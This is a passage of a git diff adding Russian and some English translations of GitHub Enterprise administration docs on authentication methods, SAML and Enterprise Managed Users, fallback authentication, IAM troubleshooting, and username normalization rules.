%}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#identity-provider-support) и [О SAML для корпоративного IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam#supported-idps). + +{% data variables.product.prodname_emus %} можно использовать с неподдерживаемым поставщиком удостоверений только при условии объединения неподдерживаемого поставщика удостоверений с поддерживаемым поставщиком удостоверений для использования в качестве точки интеграции. Если вы хотите избежать этой дополнительной сложности, единый вход SAML может быть лучшим решением для вас. + +### Работают ли ваши разработчики с общедоступными репозиториями, gist или сайтами {% data variables.product.prodname_pages %}? + +Чтобы предотвратить случайную утечку корпоративного содержимого у участников предприятия на {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_emus %} накладывает строгие ограничения на действия пользователей. Например, {% data variables.enterprise.prodname_managed_users %} не может создавать общедоступные репозитории, объекты видимости или {% data variables.product.prodname_pages %}, которые видны за пределами предприятия. Полный список ограничений см. в разделе [Возможности и ограничения {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-users). + +Эти ограничения неприемлемы для некоторых предприятий. Чтобы определить, подойдет ли вам {% data variables.product.prodname_emus %}, просмотрите ограничения вместе с вашими разработчиками и убедитесь, что никакие ограничения не помешают вашим существующим рабочим процессам. Если это так, единый вход SAML может быть лучшим выбором для вашего предприятия. + +### Полагаются ли ваши разработчики на совместную работу за пределами вашего предприятия? + +{% data variables.enterprise.prodname_managed_users_caps %} может вносить свой вклад только в репозитории на предприятии. Если разработчикам необходимо работать с репозиториями как внутри, так и вне вашей организации, включая частные репозитории, то {% data variables.product.prodname_emus %} могут не подойти вашему предприятию. Более оптимальным решением может быть единый вход SAML. + +Некоторые компании поддерживают репозитории в существующем предприятии с помощью единого входа SAML в {% data variables.location.product_location %}, а также создают {% data variables.enterprise.prodname_emu_enterprise %}. Разработчики, которые участвуют в создании репозиториев, принадлежащих обоим предприятиям, с одной рабочей станции, должны переключаться между учетными записями в {% data variables.location.product_location %} в одном браузере или использовать разные браузеры для каждой учетной записи. Ему также может потребоваться изменить на рабочей станции конфигурацию Git под обе записи. Из-за сложности такого рабочего процесса увеличивается риск по ошибке сделать внутренний код достоянием общественности. + +Если вы решили создать {% data variables.enterprise.prodname_emu_enterprise %}, но требуете от разработчиков вносить вклад в ресурсы за пределами предприятия с одной рабочей станции, вы можете обеспечить поддержку переключения между учетными записями в локальной конфигурации Git разработчика. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#supporting-developers-with-multiple-user-accounts-on-githubcom). + +### Полагается ли ваше предприятие на внешних участников совместной работы? + +С помощью единого входа SAML вы можете предоставить доступ к определенным репозиториям людям, которые не являются членами каталога вашего поставщика удостоверений, используя роль внешнего участника совместной работы. Это может быть особенно полезно для участников совместной работы, не являющихся частью вашего бизнеса, например, подрядчиков. Дополнительные сведения см. в разделе [Добавление внешних участников совместной работы к репозиториям в вашей организации](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization). + +При использовании {% data variables.product.prodname_emus %} роли внешнего участника совместной работы не существует. Доступ к ресурсам предприятия может получить только {% data variables.enterprise.prodname_managed_users %}, которые всегда подготавливаются поставщиком удостоверений. Чтобы предоставить внешним участникам совместной работы доступ к вашему предприятию, вам придется использовать гостевые учетные записи в своем поставщике удостоверений. Если вы заинтересованы в использовании {% data variables.product.prodname_emus %}, уточните у своих разработчиков, не помешает ли это их существующим рабочим процессам. Если это так, единый вход SAML может быть лучшим решением. + +### Может ли ваше предприятие позволить себе расходы на миграцию? + +Если ваше предприятие впервые использует {% data variables.product.prodname_dotcom_the_website %}, единый вход SAML и {% data variables.product.prodname_emus %} одинаково легко внедрить. + +Если вы уже используете {% data variables.product.prodname_dotcom_the_website %}, а разработчики управляют своими собственными учетными записями пользователей, внедрение {% data variables.product.prodname_emus %} требует перехода на новую корпоративную учетную запись. Дополнительные сведения см. в разделе [Сведения о предприятиях с {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#about-enterprises-with-managed-users). + +Хотя {% data variables.product.prodname_emus %} бесплатен, процесс миграции может потребовать от вашей команды времени или затрат. Убедитесь, что этот процесс миграции приемлем для вашего бизнеса и ваших разработчиков. В противном случае единый вход SAML может быть лучшим выбором для вас. + +{% elsif ghes %} + +Администраторы сайта могут определить, как пользователи проходят проверку подлинности для доступа к экземпляру {% data variables.product.product_name %}. Можно использовать встроенную проверку подлинности {% data variables.product.product_name %} или, если требуется централизовать управление удостоверениями и доступом для веб-приложений, которые использует ваша команда, можно настроить внешний метод проверки подлинности. + +## Методы проверки подлинности для {% data variables.product.product_name %} + +Для {% data variables.product.product_name %} доступны следующие методы проверки подлинности. + +- [Встроенная проверка подлинности](#built-in-authentication) +- [Внешняя проверка подлинности](#external-authentication) + +### Встроенная проверка подлинности + +{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} Чтобы получить доступ к экземпляру, пользователи проходят проверку подлинности с учетными данными для учетной записи. Дополнительные сведения см. в разделе [Настройка встроенной проверки подлинности](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication). + +### Внешняя проверка подлинности + +Если вы используете внешний каталог или поставщик удостоверений (IdP) для централизации доступа к нескольким веб-приложениям, вы можете настроить внешнюю проверку подлинности для {% data variables.location.product_location %}. Дополнительные сведения см. в следующих руководствах. + +- [Использование CAS для IAM организации](/admin/identity-and-access-management/using-cas-for-enterprise-iam) +- [Использование LDAP для IAM организации](/admin/identity-and-access-management/using-ldap-for-enterprise-iam) +- [Использование SAML для IAM организации](/admin/identity-and-access-management/using-saml-for-enterprise-iam) + +Если вы решили использовать внешнюю проверку подлинности, также можно настроить резервную проверку подлинности для пользователей, у которых нет учетной записи внешнего поставщика проверки подлинности. Например, может потребоваться доступ к подрядчику или пользователю компьютера. Дополнительные сведения см. в статье [Разрешение встроенной проверки подлинности пользователям за пределами вашего поставщика](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider). + +{% ifversion scim-for-ghes %} + +Если вы используете единый вход SAML для проверки подлинности, вы также можете подготовить пользователей и сопоставить группы удостоверений с командами с помощью SCIM. Дополнительные сведения см. в разделе [Настройка подготовки пользователей с помощью SCIM для вашего предприятия](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise). + +{% endif %} + +{% elsif ghae %} + +{% data variables.product.product_name %} использует единый вход SAML для проверки подлинности. Владельцы организации должны настроить единый вход SAML с поставщиком удостоверений SAML (IdP) во время инициализации. Дополнительные сведения см. в разделе [О SAML для IAM организации](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam). + +{% endif %} + +## Дополнительные материалы + +- [Типы учетных записей {% data variables.product.company_short %}](/get-started/learning-about-github/types-of-github-accounts) +- [Сведения об учетных записях организации](/admin/overview/about-enterprise-accounts) {%- ifversion ghec %} +- [Можно ли создавать учетные записи для пользователей в моей организации?](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization) +{% endif %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider.md new file mode 100644 index 000000000000..8b35a0a3f488 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider.md @@ -0,0 +1,61 @@ +--- +title: Разрешение встроенной проверки подлинности для пользователей за пределами поставщика +intro: 'Вы можете настроить резервную проверку подлинности, чтобы разрешить встроенную проверку подлинности для пользователей, у которых нет учетной записи в вашем поставщике проверки подлинности CAS, LDAP или SAML.' +redirect_from: + - /enterprise/admin/user-management/allowing-built-in-authentication-for-users-outside-your-identity-provider + - /enterprise/admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider + - /admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider + - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider + - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider +versions: + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity +shortTitle: Fallback authentication +ms.openlocfilehash: d011a710898e19dfdfa3591cbba2cbf7ae629885 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064437' +--- +## Сведения о встроенной проверке подлинности для пользователей за пределами поставщика + +По умолчанию при включении внешней проверки подлинности для {% data variables.product.product_name %} встроенная проверка подлинности отключена для вашего экземпляра. Дополнительные сведения см. в разделе [Сведения о проверке подлинности для организации](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication). + +Если вам не удается добавить определенные учетные записи во внешнего поставщика проверки подлинности, например учетные записи подрядчиков или пользователей компьютеров, можно настроить резервную проверку подлинности. Резервная проверка подлинности позволяет использовать встроенную проверку подлинности для внешних пользователей и получать доступ к резервной учетной записи, если поставщик проверки подлинности недоступен. + +Если вы настроите встроенную проверку подлинности, а пользователь успешно пройдет проверку подлинности с помощью SAML или CAS, этот пользователь больше не сможет пройти проверку подлинности с помощью имени пользователя и пароля. Если пользователь успешно проходит проверку подлинности с помощью протокола LDAP, учетные данные больше не считаются внутренними. + +{% warning %} + +**Внимание!** Если вы отключили встроенную проверку подлинности, необходимо отдельно приостановить доступ всех пользователей, которые больше не должны иметь доступ к экземпляру. Дополнительные сведения см. в разделе [Приостановка и возобновление работы пользователей](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users). + +{% endwarning %} + +## Настройка встроенной проверки подлинности для пользователей за пределами поставщика + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} +4. Выберите своего поставщика удостоверений + ![Параметр для выбора поставщика удостоверений](/assets/images/enterprise/management-console/identity-provider-select.gif) +5. Выберите **Разрешить создание учетных записей со встроенной проверкой подлинности**. + ![Выберите параметр встроенной проверки подлинности](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png) +6. Ознакомьтесь с предупреждением и нажмите кнопку **ОК**. + +{% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.2fa_is_available %} + +## Приглашение пользователей за пределами поставщика для проверки подлинности в вашем экземпляре + +Когда пользователь принимает приглашение, он может использовать свое имя пользователя и пароль для входа, а не вход с помощью поставщика удостоверений. + +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} {% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} + +## Дополнительные материалы + +- [Использование CAS для корпоративной системы IAM](/admin/identity-and-access-management/using-cas-for-enterprise-iam) +- [Использование LDAP для IAM организации](/admin/identity-and-access-management/using-ldap-for-enterprise-iam) +- [Использование SAML для корпоративной системы IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam) diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md new file mode 100644 index 000000000000..85b2acf6bdec --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md @@ -0,0 +1,42 @@ +--- +title: Changing authentication methods +intro: 'You can change the way {% data variables.product.prodname_ghe_server %} authenticates with your existing accounts at any time.' +redirect_from: + - /enterprise/admin/user-management/changing-authentication-methods + - /enterprise/admin/authentication/changing-authentication-methods + - /admin/authentication/changing-authentication-methods + - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/changing-authentication-methods + - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/changing-authentication-methods +versions: + ghes: '*' +type: overview +topics: + - Accounts + - Authentication + - Enterprise + - Identity +shortTitle: Change authentication methods +--- +User accounts on {% data variables.location.product_location %} are preserved when you change the authentication method and users will continue to log into the same account as long as their username doesn't change. + +If the new method of authentication changes usernames, new accounts will be created. As an administrator, you can rename users through the site admin settings or by using [the User Administration API](/rest/reference/enterprise-admin#update-the-username-for-a-user). + +Other issues you should take into consideration include: + +* **Passwords:** If you switch to using built-in authentication for your instance, users must [set a password](/enterprise/user/articles/how-can-i-reset-my-password/) after the change is completed. + +* **Site administrators:** Administrative privileges are [controlled by your identity provider when you use SAML](/enterprise/admin/guides/user-management/using-saml/#saml-attributes) and can be [controlled by group membership when you use LDAP](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance). + +* **Team membership:** Only LDAP lets you [control team membership](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance) from your directory server. + +* **User suspension:** When you use LDAP to authenticate, access to {% data variables.product.prodname_ghe_server %} can be controlled via _restricted groups_. After switching to LDAP, if restricted groups are configured, existing users who are not in one of those groups will be suspended. Suspension will occur either when they log in or during the next LDAP Sync. + +* **Group membership:** When you use LDAP to authenticate, users are automatically [suspended and unsuspended](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users) based on restricted group membership and account status with Active Directory. + +* **Git authentication:** SAML and CAS only supports Git authentication over HTTP or HTTPS using a [{% data variables.product.pat_generic %}](/articles/creating-an-access-token-for-command-line-use). Password authentication over HTTP or HTTPS is not supported. LDAP supports password-based Git authentication by default, but we recommend that you [disable that method](/enterprise/admin/authentication/using-ldap#disabling-password-authentication-for-git-operations) and force authentication via a {% data variables.product.pat_generic %} or SSH key. + +* **API authentication:** SAML and CAS only supports API authentication using a [{% data variables.product.pat_generic %}](/articles/creating-an-access-token-for-command-line-use). Basic authentication is not supported. + +* **Two-factor authentication:** {% data reusables.enterprise_user_management.external_auth_disables_2fa %} + +* **Fallback authentication for users with no account on your external authentication provider:** You can invite users to authenticate to {% data variables.location.product_location %} without adding them to your identity provider. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)." diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md new file mode 100644 index 000000000000..f43f41798671 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md @@ -0,0 +1,36 @@ +--- +title: Managing IAM for your enterprise +intro: | + {%- ifversion ghec %} + You can invite existing personal accounts on {% data variables.location.product_location %} to be members of your enterprise, and you can optionally enable SAML single sign-on (SSO) to centrally manage access. Alternatively, you can use {% data variables.product.prodname_emus %} with SAML SSO to create and control the accounts of your enterprise members. + {%- elsif ghes %} + You can use {% data variables.product.product_name %}'s built-in authentication, or you can centrally manage authentication and access to your instance with CAS, LDAP, or SAML. + {%- elsif ghae %} + You must use SAML single sign-on (SSO) to centrally manage authentication and access to your enterprise on {% data variables.product.product_name %}. Optionally, you can use System for Cross-domain Identity Management (SCIM) to automatically provision accounts and access on {% data variables.product.product_name %} when you make changes on your identity provider (IdP). + {%- endif %} +redirect_from: + - /enterprise/admin/categories/authentication + - /enterprise/admin/guides/installation/user-authentication + - /enterprise/admin/articles/inviting-users + - /enterprise/admin/guides/migrations/authenticating-users-for-your-github-enterprise-instance + - /enterprise/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance + - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance + - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Accounts + - Authentication + - Enterprise + - Identity +children: + - /about-authentication-for-your-enterprise + - /username-considerations-for-external-authentication + - /changing-authentication-methods + - /allowing-built-in-authentication-for-users-outside-your-provider + - /troubleshooting-identity-and-access-management-for-your-enterprise +shortTitle: Manage IAM for your enterprise +--- + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise.md new file mode 100644 index 000000000000..972e19efe3fe --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise.md @@ -0,0 +1,49 @@ +--- +title: Устранение неполадок с управлением удостоверениями и доступом для предприятия +shortTitle: Troubleshoot IAM +intro: Ознакомьтесь с распространенными проблемами и решениями по управлению удостоверениями и доступом для предприятия. +versions: + ghec: '*' + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - Security + - SSO + - Troubleshooting +ms.openlocfilehash: 7b8c42a1012e91268f4315d99934a4f38c52a529 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107536' +--- +## Конфликты имен пользователей + +{% ifversion ghec %}Если ваше предприятие использует {% data variables.product.prodname_emus %}, {% endif %}{% data variables.product.product_name %} нормализует идентификатор, предоставленный поставщиком удостоверений (IdP), чтобы создать имя каждого пользователя на {% data variables.product.prodname_dotcom %}. Если несколько учетных записей нормализуются в одно и то же имя пользователя {% data variables.product.prodname_dotcom %}, происходит конфликт имен пользователей и создается только учетная запись первого пользователя. Дополнительные сведения см. в разделе [Рекомендации по использованию имени пользователя для внешней проверки подлинности](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication). + +{% ifversion ghec %} +## Ошибки при переключении конфигураций проверки подлинности + +Если при переключении между различными конфигурациями проверки подлинности возникают проблемы, такие как изменение конфигурации единого входа SAML с учетной записи организации на корпоративную учетную запись, или переход с SAML на OIDC для {% data variables.product.prodname_emus %}, убедитесь, что вы следуете нашим рекомендациям по изменению. + +- [Переключение конфигурации SAML из учетной записи организации на корпоративную учетную запись](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account) +- [Переход с SAML на OIDC](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc) +- ["Миграция предприятия на новый поставщик удостоверений или клиент](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-your-enterprise-to-a-new-identity-provider-or-tenant)" + +## Получение доступа к предприятию, если единый вход недоступен + +Если ошибка конфигурации или проблема с поставщиком удостоверений (IdP) не позволяет использовать единый вход, вы можете использовать код восстановления для доступа к учетной записи предприятия. Дополнительные сведения см. в разделе [Доступ к учетной записи предприятия при недоступном поставщике удостоверений](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable). +{% endif %} + +## Ошибки проверки подлинности SAML + +Если при попытке выполнить проверку подлинности с помощью SAML возникают ошибки, см. статью [Устранение неполадок с проверкой подлинности SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication). + +{% ifversion ghec %} +## Дополнительные материалы + +- [Устранение неполадок с управлением удостоверениями и доступом для организации](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization) {% endif %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication.md new file mode 100644 index 000000000000..6c71f4293a4e --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication.md @@ -0,0 +1,167 @@ +--- +title: Username considerations for external authentication +shortTitle: Username considerations +intro: '{% ifversion ghes or ghec %}When you use {% ifversion ghes %}CAS, LDAP, or SAML for authentication{% elsif ghec %}{% data variables.product.prodname_emus %}{% endif %}, {% endif %}{% data variables.product.product_name %} follows certain rules to determine the username for each user account {% ifversion ghec or ghae %}in your enterprise{% elsif ghes %}on your instance{% endif %}.' +miniTocMaxHeadingLevel: 3 +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: reference +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +--- + +{% ifversion ghec %} +{% note %} + +**Note:** This article only applies to {% data variables.product.prodname_emus %}. If you use {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %}, usernames are created by users, not {% data variables.product.prodname_dotcom %}. + +{% endnote %} +{% endif %} + +## About usernames with external authentication + +{% ifversion ghes %} + +You can configure external authentication for {% data variables.product.product_name %} using CAS, LDAP, or SAML. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server)." + +When you use external authentication, {% data variables.location.product_location %} automatically creates a username for each person when the person signs into {% data variables.location.product_location %} through your external authentication system for the first time. + +{% elsif ghec %} + +If you use an enterprise with {% data variables.product.prodname_emus %}, members of your enterprise authenticate to access {% data variables.product.prodname_dotcom %} through your SAML identity provider (IdP). For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)" and "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server)." + +{% data variables.product.prodname_dotcom %} automatically creates a username for each person when their user account is provisioned via SCIM, by normalizing an identifier provided by your IdP, then adding an underscore and short code. If multiple identifiers are normalized into the same username, a username conflict occurs, and only the first user account is created. You can resolve username problems by making a change in your IdP so that the normalized usernames will be unique and within the 39-character limit. + +{% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %} + +{% elsif ghae %} + +{% data variables.product.product_name %} uses SAML SSO for authentication, and automatically creates a username for each person when the person signs in through your identity provider (IdP) for the first time. + +{% endif %} + +{% ifversion ghec %} +## About usernames for {% data variables.enterprise.prodname_managed_users %} + +When your {% data variables.enterprise.prodname_emu_enterprise %} is created, you will choose a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} The setup user who configures SAML SSO has a username in the format of **@SHORT-CODE_admin**. + +When you provision a new user from your identity provider, the new {% data variables.enterprise.prodname_managed_user %} will have a {% data variables.product.prodname_dotcom %} username in the format of **@IDP-USERNAME_SHORT-CODE**. The IDP-USERNAME component is formed by normalizing the SCIM `userName` attribute value sent from the IdP. + +| Identity provider | {% data variables.product.prodname_dotcom %} username | +|-----------------------------------|----------------------| +| Azure Active Directory (Azure AD) | _IDP-USERNAME_ is formed by normalizing the characters preceding the `@` character in the UPN (User Principal Name), which does not include the `#EXT#` for guest accounts. | +| Okta | _IDP-USERNAME_ is the normalized username attribute provided by the IdP. | + +These rules may result in your IdP providing the same _IDP-USERNAME_ for multiple users. For example, for Azure AD, the following UPNs will result in the same username: + +- `bob@contoso.com` +- `bob@fabrikam.com` +- `bob#EXT#fabrikamcom@contoso.com` + +This will cause a username conflict, and only the first user will be provisioned. For more information, see "[Resolving username problems](#resolving-username-problems)." +{% endif %} + +Usernames{% ifversion ghec %}, including underscore and short code,{% endif %} must not exceed 39 characters. + +## About username normalization + +Usernames for user accounts on {% ifversion ghes or ghae %}{% data variables.product.product_name %}{% elsif ghec %}{% data variables.product.prodname_dotcom_the_website %}{% endif %} can only contain alphanumeric characters and dashes (`-`). + +{% ifversion ghec %} +When you configure SAML authentication, {% data variables.product.product_name %} uses the SCIM `userName` attribute value sent from the IdP to determine the username for the corresponding user account on {% data variables.product.prodname_dotcom_the_website %}. If this value includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules. +{% elsif ghes %} +When you configure CAS, LDAP, or SAML authentication, {% data variables.product.product_name %} uses an identifier from the user account on your external authentication provider to determine the username for the corresponding user account on {% data variables.product.product_name %}. If the identifier includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules. +{% elsif ghae %} +When you configure SAML authentication, {% data variables.product.product_name %} uses an identifier from the user account on your IdP to determine the username for the corresponding user account on {% data variables.product.product_name %}. If the identifier includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules. +{% endif %} + +1. {% data variables.product.product_name %} will normalize any non-alphanumeric character in your account's username into a dash. For example, a username of `mona.the.octocat` will be normalized to `mona-the-octocat`. Note that normalized usernames also can't start or end with a dash. They also can't contain two consecutive dashes. + +1. Usernames created from email addresses are created from the normalized characters that precede the `@` character. + +1. Usernames created from domain accounts are created from the normalized characters after the `\\` separator. + +1. If multiple accounts are normalized into the same {% data variables.product.product_name %} username, only the first user account is created. Subsequent users with the same username won't be able to sign in. {% ifversion ghec %}For more information, see "[Resolving username problems](#resolving-username-problems)."{% endif %} + +### Examples of username normalization + +| Identifier on provider | Normalized username on {% data variables.product.prodname_dotcom %} | Result | +| :- | :- | :- | +| The.Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is created successfully. | +| !The.Octocat | `-the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it starts with a dash. | +| The.Octocat! | `the-octocat-{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it ends with a dash. | +| The!!Octocat | `the--octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it contains two consecutive dashes. | +| The!Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. | +| `The.Octocat@example.com` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. | +| `internal\\The.Octocat` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. | +| `mona.lisa.the.octocat.from.github.united.states@example.com` | `mona-lisa-the-octocat-from-github-united-states{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it exceeds the 39-character limit. | + +{% ifversion not ghec %} +### About username normalization with SAML + +{% ifversion ghes %}If you configure SAML authentication for {% data variables.location.product_location %}, {% endif %}{% data variables.product.product_name %} determines each person's username by one of the following assertions in the SAML response, ordered by descending priority. + +1. The custom `username` attribute, if defined and present +1. An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` assertion, if present +1. An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, if present +1. The `NameID` element + +{% data variables.product.product_name %} requires the `NameID` element even if other attributes are present. For more information, see "[SAML configuration reference](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-attributes)." + +{% data variables.product.product_name %} creates a mapping between the `NameID` from the IdP and the username {% ifversion ghae %}in{% else %}on{% endif %} {% data variables.location.product_location %}, so the `NameID` should be persistent, unique, and not subject to change for the lifecycle of the user. + +{% ifversion ghes %} +{% note %} + +**Note**: If the `NameID` for a user does change on the IdP, the person will see an error message when signing into {% data variables.location.product_location %}. To restore the person's access, you'll need to update the user account's `NameID` mapping. For more information, see "[Updating a user's SAML `NameID`](/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid)." + +{% endnote %} +{% endif %} +{% endif %} + +{% ifversion ghec %} +## Resolving username problems + +When a new user is being provisioned, if the username is longer than 39 characters (including underscore and short code), or conflicts with an existing user in the enterprise, the provisioning attempt will fail with a `409` error. + +To resolve this problem, you must make one of the following changes in your IdP so that all normalized usernames will be within the character limit and unique. +- Change the `userName` attribute value for individual users that are causing problems +- Change the `userName` attribute mapping for all users +- Configure a custom `userName` attribute for all users + +When you change the attribute mapping, usernames of existing {% data variables.enterprise.prodname_managed_users %} will be updated, but nothing else about the accounts will change, including activity history. + +{% note %} + +**Note:** {% data variables.contact.github_support %} cannot provide assistance with customizing attribute mappings or configuring custom expressions. You can contact your IdP with any questions. + +{% endnote %} + +### Resolving username problems with Azure AD + +To resolve username problems in Azure AD, either modify the User Principal Name value for the conflicting user or modify the attribute mapping for the `userName` attribute. If you modify the attribute mapping, you can choose an existing attribute or use an expression to ensure that all provisioned users have a unique normalized alias. + +1. In Azure AD, open the {% data variables.product.prodname_emu_idp_application %} application. +1. In the left sidebar, click **Provisioning**. +1. Click **Edit Provisioning**. +1. Expand **Mappings**, then click **Provision Azure Active Directory Users**. +1. Click the {% data variables.product.prodname_dotcom %} `userName` attribute mapping. +1. Change the attribute mapping. + - To map an existing attribute in Azure AD to the `userName` attribute in {% data variables.product.prodname_dotcom %}, click your desired attribute field. Then, save and wait for a provisioning cycle to occur within about 40 minutes. + - To use an expression instead of an existing attribute, change the Mapping type to "Expression", then add a custom expression that will make this value unique for all users. For example, you could use `[FIRST NAME]-[LAST NAME]-[EMPLOYEE ID]`. For more information, see [Reference for writing expressions for attribute mappings in Azure Active Directory](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/functions-for-customizing-application-data) in Microsoft Docs. + +### Resolving username problems with Okta + +To resolve username problems in Okta, update the attribute mapping settings for the {% data variables.product.prodname_emu_idp_application %} application. + +1. In Okta, open the {% data 